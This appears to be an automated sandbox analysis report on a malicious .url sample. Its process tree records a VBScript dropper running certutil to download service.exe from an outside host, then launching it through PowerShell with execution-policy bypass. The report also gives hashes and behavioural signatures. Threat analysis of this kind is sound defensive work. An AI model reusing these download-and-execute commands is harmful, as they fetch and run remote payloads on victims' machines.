Analysis

  • max time kernel
    142s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/09/2023, 16:59

General

  • Target
    Direzione.url
  • Size 205B
  • Sample230927-vhdmwsce7x
  • SHA256 d41f777212f6f77b34f10eedbb0e4e36eea69059519f1b5fc399e3754a1e25f6
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione.url
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\system32\cmd.exe
          cmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2196
          • C:\Windows\system32\certutil.exe
            certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe
            5⤵
              PID:3884
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2124
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1136
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3192

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          Agenzia[1].vbs

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs
          • Size 517B
          • SHA256 8b35f64e018365449728000cd8029249d46598deb64d823b6b5f1b61fcfdedee
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_2ulqkypb.ufx.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ulqkypb.ufx.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/3192-11-0x0000028658D80000-0x0000028658DA2000-memory.dmp

          memory/3192-16-0x00007FF8C1880000-0x00007FF8C2341000-memory.dmp

          memory/3192-17-0x0000028658D40000-0x0000028658D50000-memory.dmp

          memory/3192-18-0x0000028658D40000-0x0000028658D50000-memory.dmp

          memory/3192-21-0x00007FF8C1880000-0x00007FF8C2341000-memory.dmp